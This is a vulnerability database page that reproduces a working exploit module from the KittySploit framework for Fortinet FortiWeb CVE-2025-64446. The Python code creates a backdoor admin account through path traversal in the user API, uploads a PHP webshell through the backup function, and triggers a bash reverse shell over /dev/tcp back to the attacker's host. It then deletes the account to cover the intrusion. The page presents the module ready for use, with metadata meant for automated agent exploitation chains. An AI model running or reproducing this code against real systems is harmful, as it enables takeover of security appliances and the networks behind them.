Lucene search
+L

Fortinet FortiWeb CVE-2025-64446 API webshell reverse shell

🗓️ 10 Apr 2026 16:07:54Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

API abuse in Fortinet FortiWeb allows creating a local admin and executing a reverse shell.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
import base64
import time


class Module(Exploit, Http_client):

    __info__ = {
        "name": "Fortinet FortiWeb CVE-2025-64446 API webshell reverse shell",
        "description": "Chains CVE-2025-64446 style API abuse: create local admin via path "
                       "traversal in user API, login, upload PHP via maintenance backup, trigger "
                       "callback, then remove the temporary account.",
        "author": ["Mohammed Idrees Banyamer | @banyamer_security", "KittySploit Team"],
        "cve": ["CVE-2025-64446"],
        "platform": Platform.UNIX,
        "arch": [Arch.X86, Arch.X64],
        "references": [
            ["URL", "https://www.fortiguard.com/psirt/FG-IR-25-910"],
        ],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.SINGLE,
        },
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
    },
    }

    path = OptString("/", "Base URI path (prefix before /api/v2.0)", required=False)

    backdoor_user = OptString("pwnedadmin", "Temporary admin username to create", required=False)
    backdoor_pass = OptString("Pwned123!", "Temporary admin password", required=False)
    webshell_name = OptString("pwned.dat", "Webshell filename (under web root)", required=False)
    trigger_wait = OptInteger(8, "Seconds to wait after trigger before cleanup", required=False, advanced=True)
    delete_temp_user = OptBool(True, "Delete temporary admin after exploit", required=False, advanced=True)

    def check(self):
        try:
            print_info(f"Checking {self.target}:{self.port} (API reachability)...")
            r = self.http_request(
                method="GET",
                path=f"{self.path.rstrip('/')}/api/v2.0/login",
                timeout=10,
                allow_redirects=True,
            )
            if not r:
                return {
                    "vulnerable": False,
                    "reason": "No HTTP response",
                    "confidence": "low",
                }
            if r.status_code in (200, 401, 403, 404):
                return {
                    "vulnerable": True,
                    "reason": "FortiWeb-style API path responded (manual verification required)",
                    "confidence": "low",
                }
            return {
                "vulnerable": False,
                "reason": f"Unexpected HTTP {r.status_code}",
                "confidence": "low",
            }
        except Exception as e:
            return {
                "vulnerable": False,
                "reason": f"Check failed: {e}",
                "confidence": "low",
            }

    def run(self):
        print_info(f"Target: {self.target}:{self.port}{self.path}")
        print_info(f"Callback: {self.lhost}:{self.lport}")

        hdr_json = {"Content-Type": "application/json"}
        base = self.path.rstrip("/")
        shell = (
            '<?php system("bash -c \'bash -i >& /dev/tcp/'
            + str(self.lhost)
            + "/"
            + str(self.lport)
            + " 0>&1'\"); ?>"
        )
        b64shell = base64.b64encode(shell.encode()).decode() + "AAA=="

        try:
            print_status("Creating temporary admin user...")
            r = self.http_request(
                method="POST",
                path=f"{base}/api/v2.0/user/local.add",
                headers=hdr_json,
                json={
                    "../../mkey": self.backdoor_user,
                    "password": self.backdoor_pass,
                    "isadmin": "1",
                    "status": "enable",
                },
                timeout=10,
            )
            if not r or r.status_code != 200 or "success" not in (r.text or "").lower():
                return False

            print_status("Logging in with new admin...")
            login = self.http_request(
                method="POST",
                path=f"{base}/api/v2.0/login",
                headers=hdr_json,
                json={"username": self.backdoor_user, "password": self.backdoor_pass},
                timeout=10,
            )
            if not login or "success" not in (login.text or "").lower():
                return False

            self.remove_header("Content-Type")

            print_status("Uploading webshell via backup function...")
            self.http_request(
                method="POST",
                path=f"{base}/api/v2.0/system/maintenance/backup",
                files={
                    "upload-file": (self.webshell_name, b64shell, "application/octet-stream"),
                },
                timeout=15,
            )

            print_status(f"Triggering reverse shell ({self.lhost}:{self.lport})...")
            self.http_request(
                method="GET",
                path=f"{base}/{self.webshell_name}" if base else f"/{self.webshell_name}",
                timeout=10,
            )

            time.sleep(self.trigger_wait)

            print_success("Exploit chain completed — check your listener for a shell.")
            return True

        finally:
            if self.delete_temp_user:
                try:
                    self.session.headers["Content-Type"] = "application/json"
                    print_status("Cleaning up temporary admin account...")
                    self.http_request(
                        method="POST",
                        path=f"{base}/api/v2.0/user/local.delete",
                        headers=hdr_json,
                        json={"../../mkey": self.backdoor_user},
                        timeout=10,
                    )
                except Exception as e:
                    print_warning(f"Deletion failed (manual removal may be needed): {e}")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2026 11:31Current
8.8High risk
Vulners AI Score8.8
CVSS 3.19.8
EPSS0.91965
SSVC
3